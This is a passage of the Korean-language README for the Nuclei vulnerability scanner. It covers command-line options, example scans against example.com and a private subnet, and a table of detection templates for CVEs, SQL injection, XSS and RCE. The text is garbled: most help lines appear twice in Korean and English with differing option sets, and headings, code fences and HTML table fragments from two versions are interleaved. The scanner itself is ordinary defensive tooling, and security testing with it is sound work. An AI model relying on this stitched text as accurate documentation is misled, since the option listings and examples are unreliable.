-mr, -max-redirects int max number of redirects to follow for http templates (default 10)
|
||||
-dr, -disable-redirects disable redirects for http templates
|
||||
-rc, -report-config string nuclei reporting module configuration file
|
||||
-H, -header string[] custom header/cookie to include in all http request in header:value format (cli, file)
|
||||
-V, -var value custom vars in key=value format
|
||||
-r, -resolvers string file containing resolver list for nuclei
|
||||
-sr, -system-resolvers use system DNS resolving as error fallback
|
||||
-dc, -disable-clustering disable clustering of requests
|
||||
-passive enable passive HTTP response processing mode
|
||||
-fh2, -force-http2 force http2 connection on requests
|
||||
-ev, -env-vars enable environment variables to be used in template
|
||||
-cc, -client-cert string client certificate file (PEM-encoded) used for authenticating against scanned hosts
|
||||
-ck, -client-key string client key file (PEM-encoded) used for authenticating against scanned hosts
|
||||
-ca, -client-ca string client certificate authority file (PEM-encoded) used for authenticating against scanned hosts
|
||||
-sml, -show-match-line show match lines for file templates, works with extractors only
|
||||
-ztls use ztls library with autofallback to standard one for tls13 [Deprecated] autofallback to ztls is enabled by default
|
||||
-sni string tls sni hostname to use (default: input domain name)
|
||||
-dka, -dialer-keep-alive value keep-alive duration for network requests.
|
||||
-lfa, -allow-local-file-access allows file (payload) access anywhere on the system
|
||||
-lna, -restrict-local-network-access blocks connections to the local / private network
|
||||
-i, -interface string network interface to use for network scan
|
||||
-at, -attack-type string type of payload combinations to perform (batteringram,pitchfork,clusterbomb)
|
||||
-sip, -source-ip string source ip address to use for network scan
|
||||
-rsr, -response-size-read int max response size to read in bytes
|
||||
-rss, -response-size-save int max response size to read in bytes (default 1048576)
|
||||
-reset reset removes all nuclei configuration and data files (including nuclei-templates)
|
||||
-tlsi, -tls-impersonate enable experimental client hello (ja3) tls randomization
|
||||
-hae, -http-api-endpoint string experimental http api endpoint
|
||||
|
||||
INTERACTSH:
|
||||
-iserver, -interactsh-server string 자체 호스팅 인스턴스를 위한 interactsh 서버 url (기본값: oast.pro,oast.live,oast.site,oast.online,oast.fun,oast.me)
|
||||
-itoken, -interactsh-token string 자체 호스팅 interactsh 서버를 위한 인증 토큰
|
||||
-interactions-cache-size int 상호 작용 캐시에 유지할 요청 수 (기본값 5000)
|
||||
-interactions-eviction int 캐시에서 요청을 제거하기 전에 기다릴 초 수 (기본값 60)
|
||||
-interactions-poll-duration int 각 상호 작용 폴 요청 사이에 기다릴 초 수 (기본값 5)
|
||||
-interactions-cooldown-period int 종료 전에 상호 작용 폴링에 추가 시간 (기본값 5)
|
||||
-ni, -no-interactsh OAST 테스트를 위한 interactsh 서버 비활성화, OAST 기반 템플릿 제외
|
||||
-iserver, -interactsh-server string interactsh server url for self-hosted instance (default: oast.pro,oast.live,oast.site,oast.online,oast.fun,oast.me)
|
||||
-itoken, -interactsh-token string authentication token for self-hosted interactsh server
|
||||
-interactions-cache-size int number of requests to keep in the interactions cache (default 5000)
|
||||
-interactions-eviction int number of seconds to wait before evicting requests from cache (default 60)
|
||||
-interactions-poll-duration int number of seconds to wait before each interaction poll request (default 5)
|
||||
-interactions-cooldown-period int extra time for interaction polling before exiting (default 5)
|
||||
-ni, -no-interactsh disable interactsh server for OAST testing, exclude OAST based templates
|
||||
|
||||
FUZZING:
|
||||
-ft, -fuzzing-type string 템플릿에 설정된 퍼징 유형 재정의 (replace, prefix, postfix, infix)
|
||||
-fm, -fuzzing-mode string 템플릿에 설정된 퍼징 모드 재정의 (multiple, single)
|
||||
-ft, -fuzzing-type string overrides fuzzing type set in template (replace, prefix, postfix, infix)
|
||||
-fm, -fuzzing-mode string overrides fuzzing mode set in template (multiple, single)
|
||||
-fuzz enable loading fuzzing templates (Deprecated: use -dast instead)
|
||||
-dast enable / run dast (fuzz) nuclei templates
|
||||
-dts, -dast-server enable dast server mode (live fuzzing)
|
||||
-dtr, -dast-report write dast scan report to file
|
||||
-dtst, -dast-server-token string dast server token (optional)
|
||||
-dtsa, -dast-server-address string dast server address (default "localhost:9055")
|
||||
-dfp, -display-fuzz-points display fuzz points in the output for debugging
|
||||
-fuzz-param-frequency int frequency of uninteresting parameters for fuzzing before skipping (default 10)
|
||||
-fa, -fuzz-aggression string fuzzing aggression level controls payload count for fuzz (low, medium, high) (default "low")
|
||||
-cs, -fuzz-scope string[] in scope url regex to be followed by fuzzer
|
||||
-cos, -fuzz-out-scope string[] out of scope url regex to be excluded by fuzzer
|
||||
|
||||
UNCOVER:
|
||||
-uc, -uncover uncover 엔진 활성화
|
||||
-uq, -uncover-query string[] uncover 검색 쿼리
|
||||
-ue, -uncover-engine string[] uncover 검색 엔진 (shodan,censys,fofa,shodan-idb,quake,hunter,zoomeye,netlas,criminalip,publicwww,hunterhow) (기본값 shodan)
|
||||
-uf, -uncover-field string 반환할 uncover 필드 (ip,port,host) (기본값 "ip:port")
|
||||
-ul, -uncover-limit int 반환할 uncover 결과 (기본값 100)
|
||||
-ur, -uncover-ratelimit int 알려지지 않은 ratelimit의 엔진을 재정의하는 ratelimit (기본값 60 req/min) (기본값 60)
|
||||
-uc, -uncover enable uncover engine
|
||||
-uq, -uncover-query string[] uncover search query
|
||||
-ue, -uncover-engine string[] uncover search engine (shodan,censys,fofa,shodan-idb,quake,hunter,zoomeye,netlas,criminalip,publicwww,hunterhow,google) (default shodan)
|
||||
-uf, -uncover-field string uncover fields to return (ip,port,host) (default "ip:port")
|
||||
-ul, -uncover-limit int uncover results to return (default 100)
|
||||
-ur, -uncover-ratelimit int override ratelimit of engines with unknown ratelimit (default 60 req/min) (default 60)
|
||||
|
||||
RATE-LIMIT:
|
||||
-rl, -rate-limit int 초당 보낼 최대 요청 수 (기본값 150)
|
||||
-rlm, -rate-limit-minute int 분당 보낼 최대 요청 수
|
||||
-bs, -bulk-size int 템플릿당 병렬로 분석할 최대 호스트 수 (기본값 25)
|
||||
-c, -concurrency int 병렬로 실행할 최대 템플릿 수 (기본값 25)
|
||||
-hbs, -headless-bulk-size int 템플릿당 병렬로 분석할 최대 headless 호스트 수 (기본값 10)
|
||||
-headc, -headless-concurrency int 병렬로 실행할 최대 headless 템플릿 수 (기본값 10)
|
||||
-tlc, -template-loading-concurrency int 최대 동시 템플릿 로딩 작업 수 (기본값 50)
|
||||
-rl, -rate-limit int maximum number of requests to send per second (default 150)
|
||||
-rld, -rate-limit-duration value maximum number of requests to send per second (default 1s)
|
||||
-per-host-rate-limit enable per-host rate limiting (global rate limit becomes unlimited when enabled)
|
||||
-rlm, -rate-limit-minute int maximum number of requests to send per minute (DEPRECATED)
|
||||
-bs, -bulk-size int maximum number of hosts to be analyzed in parallel per template (default 25)
|
||||
-c, -concurrency int maximum number of templates to be executed in parallel (default 25)
|
||||
-hbs, -headless-bulk-size int maximum number of headless hosts to be analyzed in parallel per template (default 10)
|
||||
-headc, -headless-concurrency int maximum number of headless templates to be executed in parallel (default 10)
|
||||
-jsc, -js-concurrency int maximum number of javascript runtimes to be executed in parallel (default 120)
|
||||
-pc, -payload-concurrency int max payload concurrency for each template (default 25)
|
||||
-prc, -probe-concurrency int http probe concurrency with httpx (default 50)
|
||||
-tlc, -template-loading-concurrency int maximum number of concurrent template loading operations (default 50)
|
||||
|
||||
OPTIMIZATIONS:
|
||||
-timeout int 타임아웃 전에 기다릴 초 수 (기본값 10)
|
||||
-retries int 실패한 요청을 재시도하는 횟수 (기본값 1)
|
||||
-ldp, -leave-default-ports 기본 HTTP/HTTPS 포트 남겨두기 (예: host:80,host:443)
|
||||
-mhe, -max-host-error int 스캔에서 건너뛰기 전에 호스트에서 허용되는 최대 오류 수 (기본값 30)
|
||||
-te, -track-error string[] 최대 호스트 오류 감시 목록에 주어진 오류 추가 (표준, 파일)
|
||||
-nmhe, -no-mhe 오류를 기반으로 스캔에서 호스트 건너뛰기 비활성화
|
||||
-project 동일한 요청을 여러 번 보내는 것을 피하기 위해 프로젝트 폴더 사용
|
||||
-project-path string 특정 프로젝트 경로 설정 (기본값 "/tmp")
|
||||
-spm, -stop-at-first-match 첫 번째 매치 후 HTTP 요청 처리 중지 (템플릿/워크플로우 로직이 깨질 수 있음)
|
||||
-stream 스트림 모드 - 입력 정렬 없이 시작
|
||||
-ss, -scan-strategy value 스캔하는 동안 사용할 전략(auto/host-spray/template-spray) (기본값 auto)
|
||||
-irt, -input-read-timeout value 입력 읽기 시간 초과 (기본값 3m0s)
|
||||
-nh, -no-httpx 비 URL 입력에 대한 httpx 프로브 비활성화
|
||||
-no-stdin stdin 처리를 비활성화합니다
|
||||
-timeout int time to wait in seconds before timeout (default 10)
|
||||
-retries int number of times to retry a failed request (default 1)
|
||||
-ldp, -leave-default-ports leave default HTTP/HTTPS ports (eg. host:80,host:443)
|
||||
-mhe, -max-host-error int max errors for a host before skipping from scan (default 30)
|
||||
-te, -track-error string[] adds given error to max-host-error watchlist (standard, file)
|
||||
-nmhe, -no-mhe disable skipping host from scan based on errors
|
||||
-project use a project folder to avoid sending same request multiple times
|
||||
-project-path string set a specific project path (default "/tmp")
|
||||
-spm, -stop-at-first-match stop processing HTTP requests after the first match (may break template/workflow logic)
|
||||
-stream stream mode - start elaborating without sorting the input
|
||||
-ss, -scan-strategy value strategy to use while scanning(auto/host-spray/template-spray) (default auto)
|
||||
-irt, -input-read-timeout value timeout on input read (default 3m0s)
|
||||
-nh, -no-httpx disable httpx probing for non-url input
|
||||
-preflight-portscan run preflight resolve + TCP portscan and filter targets before scanning (disabled by default)
|
||||
-no-stdin disable stdin processing
|
||||
|
||||
HEADLESS:
|
||||
-headless headless 브라우저 지원이 필요한 템플릿 활성화 (Linux의 root 사용자는 샌드박스 비활성화)
|
||||
-page-timeout int headless 모드에서 각 페이지를 기다리는 시간(초) (기본값 20)
|
||||
-sb, -show-browser headless 모드로 실행하는 템플릿에서 브라우저 화면 표시
|
||||
-ho, -headless-options string[] 추가 옵션으로 headless chrome 시작
|
||||
-sc, -system-chrome nuclei가 설치한 Chrome 대신 로컬에 설치된 Chrome 브라우저 사용
|
||||
-lha, -list-headless-action 사용 가능한 headless 액션 목록 표시
|
||||
-headless enable templates that require headless browser support (root user on Linux will disable sandbox)
|
||||
-page-timeout int seconds to wait for each page in headless mode (default 20)
|
||||
-sb, -show-browser show the browser on the screen when running templates with headless mode
|
||||
-ho, -headless-options string[] start headless chrome with additional options
|
||||
-sc, -system-chrome use local installed Chrome browser instead of nuclei installed
|
||||
-cdpe, -cdp-endpoint string use remote browser via Chrome DevTools Protocol (CDP) endpoint
|
||||
-lha, -list-headless-action list available headless actions
|
||||
|
||||
DEBUG:
|
||||
-debug 모든 요청과 응답 표시
|
||||
-dreq, -debug-req 보낸 모든 요청 표시
|
||||
-dresp, -debug-resp 받은 모든 응답 표시
|
||||
-p, -proxy string[] 사용할 http/socks5 프록시 목록 (쉼표로 구분하거나 파일 입력)
|
||||
-pi, -proxy-internal 모든 내부 요청을 프록시를 통해 전송
|
||||
-ldf, -list-dsl-function 지원되는 모든 DSL 함수 시그니처 목록 표시
|
||||
-tlog, -trace-log string 보낸 요청 추적 로그를 기록할 파일
|
||||
-elog, -error-log string 보낸 요청 오류 로그를 기록할 파일
|
||||
-version nuclei 버전 표시
|
||||
-hm, -hang-monitor nuclei 멈춤 모니터링 활성화
|
||||
-v, -verbose 자세한 출력 표시
|
||||
-profile-mem string 선택적인 nuclei 메모리 프로필 덤프 파일
|
||||
-vv 스캔에 로드된 템플릿 표시
|
||||
-svd, -show-var-dump 디버깅을 위한 변수 덤프 표시
|
||||
-ep, -enable-pprof pprof 디버깅 서버 활성화
|
||||
-tv, -templates-version 설치된 nuclei-templates의 버전 표시
|
||||
-hc, -health-check 진단 검사 실행
|
||||
-debug show all requests and responses
|
||||
-dreq, -debug-req show all sent requests
|
||||
-dresp, -debug-resp show all received responses
|
||||
-p, -proxy string[] list of http/socks5 proxy to use (comma separated or file input)
|
||||
-pi, -proxy-internal proxy all internal requests
|
||||
-ldf, -list-dsl-function list all supported DSL function signatures
|
||||
-tlog, -trace-log string file to write sent requests trace log
|
||||
-elog, -error-log string file to write sent requests error log
|
||||
-version show nuclei version
|
||||
-hm, -hang-monitor enable nuclei hang monitoring
|
||||
-v, -verbose show verbose output
|
||||
-profile-mem string generate memory (heap) profile & trace files
|
||||
-vv display templates loaded for scan
|
||||
-svd, -show-var-dump show variables dump for debugging
|
||||
-vdl, -var-dump-limit int limit the number of characters displayed in var dump (default 255)
|
||||
-ep, -enable-pprof enable pprof debugging server
|
||||
-tv, -templates-version shows the version of the installed nuclei-templates
|
||||
-hc, -health-check run diagnostic check up
|
||||
|
||||
UPDATE:
|
||||
-up, -update 최신 릴리스 버전으로 nuclei 엔진 업데이트
|
||||
-ut, -update-templates 최신 릴리스 버전으로 nuclei-templates 업데이트
|
||||
-ud, -update-template-dir string nuclei-templates를 설치/업데이트할 사용자 지정 디렉토리
|
||||
-duc, -disable-update-check 자동 nuclei/templates 업데이트 확인 비활성화
|
||||
-up, -update update nuclei engine to the latest released version
|
||||
-ut, -update-templates update nuclei-templates to latest released version
|
||||
-ud, -update-template-dir string custom directory to install / update nuclei-templates
|
||||
-duc, -disable-update-check disable automatic nuclei/templates update check
|
||||
|
||||
HONEYPOT:
|
||||
-hpd, -honeypot-detect detect potential honeypot hosts based on match concentration
|
||||
-hpt, -honeypot-threshold int number of distinct template IDs required to flag a honeypot host (default 15)
|
||||
-shp, -suppress-honeypot suppress output for flagged honeypot hosts
|
||||
|
||||
STATISTICS:
|
||||
-stats 실행 중인 스캔에 대한 통계 표시
|
||||
-sj, -stats-json JSONL(ines) 형식으로 통계 표시
|
||||
-si, -stats-interval int 통계 업데이트를 표시하기까지 기다릴 초 수 (기본값 5)
|
||||
-mp, -metrics-port int nuclei 메트릭스를 노출할 포트 (기본값 9092)
|
||||
-stats display statistics about the running scan
|
||||
-sj, -stats-json display statistics in JSONL(ines) format
|
||||
-si, -stats-interval int number of seconds to wait between showing a statistics update (default 5)
|
||||
-mp, -metrics-port int port to expose nuclei metrics on (default 9092)
|
||||
-hps, -http-stats enable http status capturing (experimental)
|
||||
|
||||
CLOUD:
|
||||
-auth projectdiscovery 클라우드 (pdcp) API 키 구성
|
||||
-cup, -cloud-upload 스캔 결과를 pdcp 대시보드에 업로드
|
||||
-sid, -scan-id string 주어진 스캔 ID에 스캔 결과 업로드
|
||||
-auth configure projectdiscovery cloud (pdcp) api key (default true)
|
||||
-tid, -team-id string upload scan results to given team id (optional) (default "none")
|
||||
-cup, -cloud-upload upload scan results to pdcp dashboard [DEPRECATED use -dashboard]
|
||||
-sid, -scan-id string upload scan results to existing scan id (optional)
|
||||
-sname, -scan-name string scan name to set (optional)
|
||||
-pd, -dashboard upload / view nuclei results in projectdiscovery cloud (pdcp) UI dashboard
|
||||
-pdu, -dashboard-upload string upload / view nuclei results file (jsonl) in projectdiscovery cloud (pdcp) UI dashboard
|
||||
|
||||
AUTHENTICATION:
|
||||
-sf, -secret-file string[] path to config file containing secrets for nuclei authenticated scan
|
||||
-ps, -prefetch-secrets prefetch secrets from the secrets file
|
||||
# NOTE: Headers in secrets files preserve exact casing (useful for case-sensitive APIs)
|
||||
|
||||
|
||||
예시:
|
||||
단일 호스트에서 nuclei 실행:
|
||||
EXAMPLES:
|
||||
Run nuclei on single host:
|
||||
$ nuclei -target example.com
|
||||
|
||||
특정 템플릿 디렉토리로 nuclei 실행:
|
||||
Run nuclei with specific template directories:
|
||||
$ nuclei -target example.com -t http/cves/ -t ssl
|
||||
|
||||
호스트 목록에 대해 nuclei 실행:
|
||||
Run nuclei against a list of hosts:
|
||||
$ nuclei -list hosts.txt
|
||||
|
||||
JSON 출력으로 nuclei 실행:
|
||||
Run nuclei with a JSON output:
|
||||
$ nuclei -target example.com -json-export output.json
|
||||
|
||||
정렬된 Markdown 출력으로 nuclei 실행 (환경 변수 사용):
|
||||
Run nuclei with sorted Markdown outputs (with environment variables):
|
||||
$ MARKDOWN_EXPORT_SORT_MODE=template nuclei -target example.com -markdown-export nuclei_report/
|
||||
|
||||
추가 문서는 여기에서 확인할 수 있습니다: https://docs.nuclei.sh/getting-started/running
|
||||
Additional documentation is available at: https://docs.projectdiscovery.io/getting-started/running
|
||||
|
||||
```
|
||||
|
||||
### Nuclei 실행
|
||||
추가 문서는 다음 주소에서 확인할 수 있습니다: [**`docs.projectdiscovery.io/getting-started/running`**](https://docs.projectdiscovery.io/getting-started/running?utm_source=github&utm_medium=web&utm_campaign=nuclei_readme)
|
||||
|
||||
[community-curated](https://github.com/projectdiscovery/nuclei-templates) nuclei 템플릿으로 대상 도메인을 스캔합니다.
|
||||
</details>
|
||||
|
||||
### 단일 대상 스캔
|
||||
|
||||
웹 애플리케이션에서 빠르게 스캔을 수행하려면:
|
||||
|
||||
```sh
|
||||
nuclei -u https://example.com
|
||||
nuclei -target https://example.com
|
||||
```
|
||||
|
||||
[community-curated](https://github.com/projectdiscovery/nuclei-templates) nuclei 템플릿으로 대상 URL들을 스캔합니다.
|
||||
### 다중 대상 스캔
|
||||
|
||||
Nuclei는 대상 목록을 제공하여 대량 스캔을 수행할 수 있습니다. 여러 URL을 포함하는 파일을 사용할 수 있습니다.
|
||||
|
||||
```sh
|
||||
nuclei -list urls.txt
|
||||
```
|
||||
|
||||
`urls.txt`의 예시:
|
||||
### 네트워크 스캔
|
||||
|
||||
```yaml
|
||||
http://example.com
|
||||
http://app.example.com
|
||||
http://test.example.com
|
||||
http://uat.example.com
|
||||
이 명령은 열린 포트나 잘못 구성된 서비스 같은 네트워크 관련 문제를 찾기 위해 전체 서브넷을 스캔합니다.
|
||||
|
||||
```sh
|
||||
nuclei -target 192.168.1.0/24
|
||||
```
|
||||
|
||||
**nuclei를 실행하는 자세한 예는 [여기](https://nuclei.projectdiscovery.io/nuclei/get-started/#running-nuclei)에서 찾을 수 있습니다.**
|
||||
### 사용자 정의 템플릿으로 스캔
|
||||
|
||||
# 보안 엔지니어를 위한
|
||||
자신만의 템플릿을 작성하여 사용하려면, 구체적인 규칙이 담긴 `.yaml` 파일을 만들고 다음과 같이 사용하세요.
|
||||
|
||||
Nuclei는 보안 엔지니어가 조직에서 워크플로를 커스텀하는 데 도움이 되는 많은 기능을 제공합니다.
|
||||
다양한 스캔 기능(DNS, HTTP, TCP 등)을 통해 보안 엔지니어는 Nuclei를 사용하여 맞춤형 검사 세트를 쉽게 만들 수 있습니다.
|
||||
```sh
|
||||
nuclei -u https://example.com -t /path/to/your-template.yaml
|
||||
```
|
||||
|
||||
- 다양한 프로토콜 지원: TCP, DNS, HTTP, File, etc
|
||||
- 워크플로 및 [동적 요청](https://blog.projectdiscovery.io/nuclei-unleashed-quickly-write-complex-exploits/)을 통한 복잡한 취약점 탐색 달성
|
||||
- CI/CD에 쉽게 통합할 수 있으며, 회귀 주기에 쉽게 통합되어 취약점의 수정 및 재출현을 능동적으로 확인할 수 있도록 설계됨.
|
||||
### Nuclei를 ProjectDiscovery에 연결
|
||||
|
||||
<h1 align="left">
|
||||
<a href="https://nuclei.projectdiscovery.io/nuclei/get-started/"><img src="static/learn-more-button.png" width="170px" alt="Learn More"></a>
|
||||
</h1>
|
||||
스캔을 로컬 머신에서 실행하고 추가 분석 및 대응을 위해 결과를 클라우드 플랫폼에 업로드할 수 있습니다.
|
||||
|
||||
<table>
|
||||
<tr>
|
||||
<td>
|
||||
```sh
|
||||
nuclei -target https://example.com -dashboard
|
||||
```
|
||||
|
||||
**Bug Bounty hunter들을 위해:**
|
||||
> [!NOTE]
|
||||
> 이 기능은 완전히 무료이며 구독이 필요하지 않습니다. 자세한 가이드는 [**`문서`**](https://docs.projectdiscovery.io/cloud/scanning/nuclei-scan?utm_source=github&utm_medium=web&utm_campaign=nuclei_readme)를 참조하세요.
|
||||
|
||||
Nuclei를 사용하면 자체 검사 모음으로 테스트 접근 방식을 사용자 정의하고 버그 바운티 프로그램에서 쉽게 실행할 수 있습니다.
|
||||
또한 Nuclei는 모든 연속 스캔 워크플로에 쉽게 통합될 수 있습니다.
|
||||
<br>
|
||||
<br>
|
||||
|
||||
- 다른 도구 워크플로에 쉽게 통합되도록 설계됨.
|
||||
- 몇 분 안에 수천 개의 호스트를 처리할 수 있음.
|
||||
- 간단한 YAML DSL로 사용자 지정 테스트 접근 방식을 쉽게 자동화할 수 있음.
|
||||
## Nuclei 템플릿, 커뮤니티 및 보상 💎
|
||||
[**Nuclei 템플릿**](https://github.com/projectdiscovery/nuclei-templates)은 요청을 어떻게 보내고 처리할지 정의하는 YAML 기반 템플릿 파일의 개념에 기반합니다. 이를 통해 nuclei에 손쉽게 확장성을 제공합니다. 템플릿은 YAML로 작성되며, 실행 프로세스를 빠르게 정의할 수 있는 사람이 읽기 쉬운 간단한 형식을 따릅니다.
|
||||
|
||||
버그 바운티 워크플로에 맞는 다른 오픈 소스 프로젝트를 확인할 수 있습니다.: [github.com/projectdiscovery](https://github.com/projectdiscovery), 또한, 우리는 매일 [Chaos에서 DNS 데이터를 갱신해 호스팅합니다](https://chaos.projectdiscovery.io).
|
||||
**무료 AI 기반 Nuclei 템플릿 에디터로 온라인에서 직접 사용해 보세요** [**`여기를 클릭`**](https://cloud.projectdiscovery.io/templates).
|
||||
|
||||
</td>
|
||||
</tr>
|
||||
</table>
|
||||
Nuclei 템플릿은 심각도 등급과 탐지 방법 같은 핵심 정보를 결합하여 취약점을 식별하고 전달하는 효율적인 방법을 제공합니다. 이 오픈 소스의 커뮤니티 개발 도구는 위협 대응 속도를 높여주며, 사이버 보안 업계에서 폭넓게 인정받고 있습니다. Nuclei 템플릿은 전 세계 수천 명의 보안 연구자들이 적극적으로 기여하고 있습니다. 우리는 기여자들을 위해 두 가지 프로그램을 운영합니다: [**`Pioneers`**](https://projectdiscovery.io/pioneers) 와 [**`💎 bounties`**](https://github.com/projectdiscovery/nuclei-templates/issues?q=is%3Aissue%20state%3Aopen%20label%3A%22%F0%9F%92%8E%20Bounty%22).
|
||||
|
||||
<table>
|
||||
<tr>
|
||||
<td>
|
||||
|
||||
<p align="left">
|
||||
<a href="/static/nuclei-templates-teamcity.png" target="_blank"><img src="/static/nuclei-templates-teamcity.png" width="1200px" alt="TeamCity 설정 오류 탐지를 위한 Nuclei 템플릿 예시" /></a>
|
||||
</p>
|
||||
|
||||
#### 예시
|
||||
|
||||
사용 사례와 아이디어를 보려면 [**문서**](https://docs.projectdiscovery.io/templates/introduction)를 방문하세요.
|
||||
|
||||
| 사용 사례 | Nuclei 템플릿 |
|
||||
| :----------------------------------------- | :------------------------------------------------- |
|
||||
| 알려진 CVE 탐지 | **[CVE-2021-44228 (Log4Shell)](https://cloud.projectdiscovery.io/public/CVE-2021-45046)** |
|
||||
| Out-of-Band 취약점 식별 | **[Blind SQL Injection via OOB](https://cloud.projectdiscovery.io/public/CVE-2024-22120)** |
|
||||
| SQL Injection 탐지 | **[Generic SQL Injection](https://cloud.projectdiscovery.io/public/CVE-2022-34265)** |
|
||||
| Cross-Site Scripting (XSS) | **[Reflected XSS Detection](https://cloud.projectdiscovery.io/public/CVE-2023-4173)** |
|
||||
| 기본 또는 취약한 비밀번호 | **[Default Credentials Check](https://cloud.projectdiscovery.io/public/airflow-default-login)** |
|
||||
| 시크릿 파일 또는 데이터 노출 | **[Sensitive File Disclosure](https://cloud.projectdiscovery.io/public/airflow-configuration-exposure)** |
|
||||
| 오픈 리다이렉트 식별 | **[Open Redirect Detection](https://cloud.projectdiscovery.io/public/open-redirect)** |
|
||||
| 서브도메인 인수(Takeover) 탐지 | **[Subdomain Takeover Templates](https://cloud.projectdiscovery.io/public/azure-takeover-detection)** |
|
||||
| 보안 설정 오류 | **[Unprotected Jenkins Console](https://cloud.projectdiscovery.io/public/unauthenticated-jenkins)** |
|
||||
| 취약한 SSL/TLS 설정 | **[SSL Certificate Expiry](https://cloud.projectdiscovery.io/public/expired-ssl)** |
|
||||
| 잘못 구성된 클라우드 서비스 | **[Open S3 Bucket Detection](https://cloud.projectdiscovery.io/public/s3-public-read-acp)** |
|
||||
| 원격 코드 실행 취약점 | **[RCE Detection Templates](https://cloud.projectdiscovery.io/public/CVE-2024-29824)** |
|
||||
| 디렉터리 트래버설 공격 | **[Path Traversal Detection](https://cloud.projectdiscovery.io/public/oracle-fatwire-lfi)** |
|
||||
| 파일 인클루전 취약점 | **[Local/Remote File Inclusion](https://cloud.projectdiscovery.io/public/CVE-2023-6977)** |
|
||||
|
||||
|
||||
<br>
|
||||
<br>
|
||||
|
||||
## 우리의 미션
|
||||
|
||||
전통적인 취약점 스캐너는 수십 년 전에 만들어졌습니다. 그들은 폐쇄형이며, 매우 느리고, 벤더 주도적입니다. 오늘날의 공격자들은 새로 공개된 CVE를 며칠 만에 인터넷 전체에서 대규모로 익스플로잇하고 있습니다 — 과거에는 수년이 걸리던 일이었습니다. 이러한 변화는 인터넷 상의 최신 익스플로잇에 대응하기 위한 완전히 다른 접근 방식을 요구합니다.
|
||||
|
||||
우리는 이 도전 과제를 해결하기 위해 Nuclei를 만들었습니다. 스캔 엔진 프레임워크 전체를 개방적이고 커스터마이즈 가능하게 만들어 — 전 세계 보안 커뮤니티가 협력하여 인터넷의 최신 공격 벡터와 취약점에 대응할 수 있도록 했습니다. Nuclei는 현재 Fortune 500 기업, 정부 기관, 대학에서 사용되고 기여받고 있습니다.
|
||||
|
||||
우리의 코드, [**`템플릿 라이브러리`**](https://github.com/projectdiscovery/nuclei-templates)에 기여하거나 [**`팀에 합류`**](https://projectdiscovery.io/)하여 참여하실 수 있습니다.
|
||||
|
||||
<br>
|
||||
<br>
|
||||
|
||||
## 기여자 :heart:
|
||||
|
||||
PR을 보내고 이 프로젝트를 최신 상태로 유지해주신 모든 멋진 [**`커뮤니티 기여자 분들`**](https://github.com/projectdiscovery/nuclei/graphs/contributors)께 감사드립니다. :heart:
|
||||
|
||||
<p align="left">
|
||||
<a href="https://github.com/Ice3man543"><img src="https://avatars.githubusercontent.com/u/22318055?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/apps/dependabot"><img src="https://avatars.githubusercontent.com/in/29110?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/ehsandeep"><img src="https://avatars.githubusercontent.com/u/8293321?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/Mzack9999"><img src="https://avatars.githubusercontent.com/u/13421144?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/forgedhallpass"><img src="https://avatars.githubusercontent.com/u/13679401?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/tarunKoyalwar"><img src="https://avatars.githubusercontent.com/u/45962551?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/manuelbua"><img src="https://avatars.githubusercontent.com/u/819314?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/actions-user"><img src="https://avatars.githubusercontent.com/u/65916846?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/dogancanbakir"><img src="https://avatars.githubusercontent.com/u/65292895?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/parrasajad"><img src="https://avatars.githubusercontent.com/u/16835787?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/vzamanillo"><img src="https://avatars.githubusercontent.com/u/10209695?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/ShubhamRasal"><img src="https://avatars.githubusercontent.com/u/45902122?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/RamanaReddy0M"><img src="https://avatars.githubusercontent.com/u/90540245?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/LuitelSamikshya"><img src="https://avatars.githubusercontent.com/u/85764322?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/kchason"><img src="https://avatars.githubusercontent.com/u/1111099?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/pmareke"><img src="https://avatars.githubusercontent.com/u/3502075?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/dwisiswant0"><img src="https://avatars.githubusercontent.com/u/25837540?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/xm1k3"><img src="https://avatars.githubusercontent.com/u/73166077?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/5amu"><img src="https://avatars.githubusercontent.com/u/39925709?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/ehrishirajsharma"><img src="https://avatars.githubusercontent.com/u/35542790?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/zerodivisi0n"><img src="https://avatars.githubusercontent.com/u/687694?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/geeknik"><img src="https://avatars.githubusercontent.com/u/466878?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/TerminalFi"><img src="https://avatars.githubusercontent.com/u/32599364?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/KaulSe"><img src="https://avatars.githubusercontent.com/u/45340011?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/sullo"><img src="https://avatars.githubusercontent.com/u/1474884?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/wdahlenburg"><img src="https://avatars.githubusercontent.com/u/4451504?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
